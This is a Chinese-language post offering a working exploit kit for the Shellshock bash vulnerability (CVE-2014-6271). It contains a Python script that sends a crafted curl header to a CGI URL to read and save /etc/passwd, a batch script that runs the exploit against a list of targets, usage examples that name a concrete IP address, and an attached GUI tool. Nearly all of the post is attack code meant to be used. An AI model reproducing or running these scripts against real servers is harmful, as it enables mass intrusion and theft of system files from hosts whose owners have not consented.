CVE2014-6271 bash特殊环境变量代码注入漏洞

文末附exe GUI工具

exp.py
#!/usr/bin/env python
#coding:utf-8
import os
import sys
import re
print "f4ck ziwen cve 2014 6271 exp attacking!"
if sys.argv[1].startswith('-'):
    option = sys.argv[1][1:]
    if option == 'url':
        b=sys.argv[2]
        if not re.match("http",sys.argv[2]):
            print "URL格式错误 正确格式例如http://www.baidu.com/1.cgi"
 
        else:
            out=re.sub("\.|\/","",b)
            out=out[7:]
            print "shahdashhdd",out,b
            a="curl -H \'x: () { :;};a=`/bin/cat /etc/passwd`;echo \"a: $a\"' '"+b+"' -I -o "+out+"\"output\".txt"
            os.system(a)
            f = open(out+"output.txt", 'r')
            a=f.read()
            if re.search("root|bin\/bash",a):
                print "target possible have bug under is *nix passwd file"
                print a
            else:
                f.close()
                os.remove(out+"output.txt")
                print "possible dont have bug! or have a waf!"
    else:
        print "error! U can email to me U question ([email protected])"
        print option

用法:

python c:\exp.py -url http://23.239.208.105/cgi-bin/poc.cgi

程序会将结果回显出来 如果存在漏洞的话还会把passwd文件保存在 以目标域名+output命名的txt文档里,不成功不保存

批量检测是否存在CVE2014-6271脚本

该脚本调用了上面那个EXP 所以请运行该脚本时请将两个脚本放同一目录 并在该目录下新建target.txt文件将您的目标列表放进文件里

<code> http://www.baidu.com http://23.239.208.105/cgi-bin/poc.cgi </file>

然后运行该脚本即可 该脚本便会自动按顺序检测 会把结果回显出来 并会把成功的目标的passwd文件保存在 以目标域名+output命名的txt文档里,不成功不保存

batch.py
#!/usr/bin/env python
#coding:utf-8
import os
import sys
PATH=sys.path[0]+"/"
text=open(PATH+"target.txt",'r')
for line in text:
    print line
    os.system("python "+PATH+"exp.py -url "+line)
请不要随意改变exp.py的文件名 如果改变了EXP.PY的文件名请将batch.py里面的exp.py改为您修改的文件名 否则batch.py会运行失败

附GUI工具:cve-2014-6271.rar